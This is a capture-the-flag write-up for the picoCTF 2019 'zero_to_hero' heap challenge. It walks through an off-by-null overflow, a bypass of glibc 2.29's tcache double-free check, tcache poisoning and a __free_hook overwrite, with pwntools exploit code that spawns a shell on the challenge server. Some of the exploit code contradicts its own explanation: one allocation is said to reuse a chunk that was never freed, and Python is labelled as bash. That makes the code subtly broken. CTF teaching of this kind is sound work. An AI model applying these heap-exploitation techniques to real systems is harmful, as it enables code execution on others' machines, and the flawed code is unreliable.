Skip to main content

zero_to_hero picoCTF 2019 Solution

A heap exploitation challenge requiring deep knowledge of glibc memory allocation internals.

Published: April 2, 2026Updated: August 13, 2026

Description

A heap menu challenge running on libc 2.29. You can add and remove power-up strings. The binary hands you a libc address at startup and contains a hidden win function. Exploit the heap to get code execution.

Download the binary and connect to the server.

bash
wget <url>/zero_to_hero
bash
chmod +x zero_to_hero
bash
nc <HOST> <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Understand the binary and its bugs
    Observation
    The binary offers add and remove operations on heap strings with no obvious sanitization. Reversing it in Ghidra will show how input is read and whether freed pointers get cleared, before any exploit gets written.
    Open the binary in Ghidra or GDB. The menu has add, remove, and show operations on heap-allocated strings. Two bugs are present: (1) the delete option frees the chunk but leaves the pointer intact, creating a use-after-free condition. (2) The add option null-terminates user input by writing a zero one byte past the last byte written, so filling a chunk of size N exactly causes the first byte of the next chunk's size field to become 0x00. This is an off-by-null (also called off-by-one null byte) overflow. The binary also prints the address of system() at startup, giving a direct libc leak.
    bash
    checksec zero_to_hero
    bash
    ghidra zero_to_hero &
    bash
    strings zero_to_hero | grep -i flag
    What didn't work first

    Tried: Run strings to find the flag or the win function address directly in the binary.

    strings shows the literals baked into the binary, but the flag is not one of them; it lives on the remote server. The win function address also moves with ASLR on every run, so reading it statically gives a file offset, not a runtime address you can jump to without a leak.

    Tried: Assume the off-by-one writes a full byte of arbitrary value, not just a null byte.

    The bug is specifically an off-by-null: the terminator is always 0x00. Only the low byte of the next chunk's size field can be zeroed, which limits the corruption to shrinking the recorded size. An arbitrary one-byte write would be a far stronger primitive and would call for a different path.

    Learn more

    Off-by-null explained. When C code does buf[len] = '\0' after reading len bytes into a buffer of exactly len bytes, the null terminator lands one byte past the allocation. On the heap that byte is typically the low byte of the following chunk's size field. Changing it to zero truncates the size, which causes the allocator to mis-classify the chunk into a smaller bin.

    Libc 2.29 tcache double-free protection. Starting in glibc 2.29, tcache_entry stores a key field equal to the address of the tcache struct. When a chunk is freed, the allocator checks whether that field already equals the tcache address and aborts if so, preventing a naive double-free. The poison-null-byte trick bypasses this by making the same physical chunk appear to have two different sizes, so it lands in two separate tcache bins and the key check never fires.

  2. Step 2Leak libc base from the startup message
    Observation
    The binary prints a hexadecimal address labeled 'Take this:' at startup, so it is deliberately leaking a libc symbol. Subtracting the known offset of system() from the provided libc.so.6 gives the randomized libc base.
    Connect to the remote and read the first line. It contains a hexadecimal address of system(). Subtract the offset of system in the provided libc to compute libc_base. Then derive the addresses of __free_hook and system for later use.
    python
    python3 << 'EOF'
    from pwn import *
    
    elf  = ELF('./zero_to_hero')
    libc = ELF('./libc.so.6')   # libc provided with the challenge
    p    = remote('<HOST>', <PORT_FROM_INSTANCE>)
    
    # Binary prints: "It's dangerous to go alone.  Take this: 0x<addr>"
    p.recvuntil(b'Take this: ')
    system_leak = int(p.recvline().strip(), 16)
    libc.address = system_leak - libc.sym['system']
    log.info(f'libc base: {hex(libc.address)}')
    free_hook = libc.sym['__free_hook']
    system    = libc.sym['system']
    EOF
    What didn't work first

    Tried: Compute libc base by subtracting the offset of system from a libc you download yourself rather than the one bundled with the challenge.

    Different libc builds carry different symbol offsets even at the same glibc version. The wrong binary gives a libc_base off by a constant, so every derived address, __free_hook included, lands in unmapped memory and segfaults on first dereference. Always use the exact libc.so.6 shipped with the challenge.

    Tried: Skip reading the leak and instead brute-force libc base by trying common load addresses.

    With ASLR on, the libc base is randomized across a 28-bit window, roughly 268 million possibilities on 64-bit Linux. Brute-forcing that over a network would take far too long. The binary prints the system address on purpose, so parse it directly.

    Learn more

    Why libc base randomizes. ASLR randomizes the load address of every shared library at each process launch. Because all symbols inside the library are at fixed offsets from that base, one leaked pointer is enough to anchor the entire address space of libc.

    __free_hook. Glibc exposes a function pointer called __free_hook in a writable data segment. When set to a non-null value, every call to free(ptr) is redirected to __free_hook(ptr) before the allocator logic runs. Writing system there and freeing a chunk containing "/bin/sh" therefore calls system("/bin/sh").

  3. Step 3Corrupt a chunk size with the off-by-null to set up a double-free
    Observation
    The input reader null-terminates one byte past the requested allocation size. So filling a chunk of exactly 0x108 bytes overwrites the low byte of the next chunk's size field from 0x10 to 0x00, landing it in a different tcache bin and slipping past the libc 2.29 double-free key check.
    Allocate chunk A of size 0x108 (stored as 0x110 with metadata) and chunk B of size 0x108. Free chunk B so it enters the 0x110 tcache bin. Fill chunk A with exactly 0x108 bytes; the null terminator writes 0x00 over the low byte of chunk B's size field, changing 0x110 to 0x100. Now free chunk B a second time. Because the size byte says 0x100, tcache places it in the 0x100 bin without triggering the double-free check (it already lived in the 0x110 bin). Chunk B now exists simultaneously in both the 0x100 and 0x110 tcache lists.
    python
    # Helper functions (add/remove wrap the menu)
    def add(p, size, data):
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b'size: ', str(size).encode())
        p.sendafter(b'power: ', data)
    
    def remove(p, idx):
        p.sendlineafter(b'> ', b'2')
        p.sendlineafter(b'index: ', str(idx).encode())
    
    # Stage: create the double-free condition
    add(p, 0x108, b'A' * 8)   # chunk 0 (small, placeholder)
    add(p, 0x108, b'B' * 8)   # chunk 1 -- will be corrupted
    remove(p, 1)               # free chunk 1 -> 0x110 tcache bin
    # Fill chunk 0 to the brim; null terminator hits chunk 1's size byte
    add(p, 0x108, b'C' * 0x108)  # re-allocates chunk 0, overwrites size
    remove(p, 1)               # free chunk 1 again -> 0x100 tcache bin
    What didn't work first

    Tried: Attempt a straightforward double-free without the off-by-null step, expecting the chunk to appear twice in the same tcache bin.

    Libc 2.29 added a key field to tcache_entry, set to the address of the tcache struct on free. When the allocator frees a chunk it checks whether key already holds that address and calls abort() if so, so freeing the same chunk twice in the same bin crashes the process. The off-by-null is what lands the second free in a different bin, 0x100 rather than 0x110, so the key comparison never runs.

    Tried: Use chunk sizes of 0x10 bytes instead of 0x108 to make the corruption easier to reason about.

    Very small allocations land in a size class where the low byte of the size field may already be 0x00, so zeroing it changes nothing about bin selection. The sizes here are chosen so the target chunk's stored size has a non-zero low byte, the 0x10 in 0x110, which becomes 0x00 and moves it from the 0x110 bin to the 0x100 bin. The gap has to span at least one tcache size class.

    Learn more

    Tcache bin selection. The tcache is an array of 64 singly-linked lists, each corresponding to a chunk size class (0x20, 0x30, ... 0x410). The bin index is computed from the chunk's recorded size field. By changing the size byte from 0x10 to 0x00 (i.e. the overall size from 0x110 to 0x100), the allocator routes the second free into a different bin, so the duplicate-detection key comparison is never triggered.

  4. Step 4Tcache poisoning: overwrite __free_hook
    Observation
    Chunk B now sits in both the 0x100 and 0x110 tcache bins at once. Writing __free_hook's address as the fd pointer on the first re-allocation means a later malloc from the 0x100 bin returns __free_hook itself as a writable allocation, ready to be overwritten with system().
    Allocate from the 0x100 bin to get chunk B back and write the address of __free_hook as its fd (forward pointer). Then allocate from the 0x110 bin to get chunk B again. Now the 0x100 bin's head points to __free_hook. Allocate once more from the 0x100 bin; malloc returns the __free_hook address as a valid allocation. Write the address of system() into it. Finally, add a new chunk containing the string '/bin/sh\x00' and free it. free() checks __free_hook, finds system, and calls system('/bin/sh').
    bash
    # Tcache poisoning + __free_hook overwrite
    add(p, 0xf8, p64(free_hook))   # chunk B (0x100 bin): poison fd -> __free_hook
    add(p, 0x108, b'D' * 8)        # drain 0x110 bin (returns chunk B again)
    add(p, 0xf8, b'E' * 8)         # advance 0x100 head past chunk B
    add(p, 0xf8, p64(system))      # next alloc returns __free_hook; write system()
    
    # Trigger: free a chunk whose data is "/bin/sh"
    add(p, 0x20, b'/bin/sh\x00')
    remove(p, <idx_of_binsh_chunk>)  # free -> __free_hook(ptr) -> system("/bin/sh")
    
    p.interactive()

    Expected output

    picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_...}
    What didn't work first

    Tried: Overwrite a GOT entry for free() instead of __free_hook to redirect execution to system().

    The binary is compiled with full RELRO, which remaps the GOT read-only once dynamic linking finishes, so writing to a GOT address segfaults immediately. __free_hook is the right target because it lives in a writable libc data segment that RELRO does not cover.

    Tried: Write system() directly into the fd slot of the poisoned chunk and skip the separate __free_hook allocation step.

    The fd field points at the next free chunk in the tcache list, and malloc returns addresses taken from fd, not the value stored in it. Write system() as the fd and malloc tries to hand back system()'s code page as a heap allocation, which faults or returns something non-writable. The sequence is: poison fd with __free_hook's address, let malloc return a writable allocation there, then write system() into it.

    Learn more

    Why tcache has no integrity checks on fd. The tcache implementation in glibc does not validate that a chunk's forward pointer points into the heap. It simply returns whatever address is stored there on the next malloc call of the matching size. This makes tcache poisoning trivially powerful: one write to an fd field gives arbitrary allocation anywhere in the process address space, including writable libc data like __free_hook.

    __free_hook as the write target. Overwriting a GOT entry would also work on a non-full-RELRO binary, but __free_hook is a canonical target because it lives in a known writable libc region, it fires on any free(), and the argument passed to the hook is exactly the pointer being freed, so controlling the chunk content means controlling the argument to system().

Interactive tools
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.

Flag

Reveal flag

picoCTF{i_th0ught_2.29_f1x3d_d0ubl3_fr33?_...}

The flag hash suffix varies per instance. The technique is: off-by-null corrupts a tcache chunk size to bypass the double-free check in libc 2.29, enabling tcache poisoning to overwrite __free_hook with system(), then freeing a '/bin/sh' chunk for shell access.

Key takeaway

Heap exploitation chains small bugs into full control. An off-by-null overflow corrupts a neighboring chunk's size field, which spoofs tcache's bin classification and makes the allocator treat one physical chunk as a member of two free lists at once. Planting an attacker-controlled address as a tcache forward pointer then makes malloc return arbitrary memory as a valid allocation, turning a one-byte overflow into an arbitrary write. The same primitive, off-by-null into tcache or unsorted-bin corruption, recurs across glibc versions wherever null termination happens without a size check.

Related reading

Useful tools for Binary Exploitation

Where to go next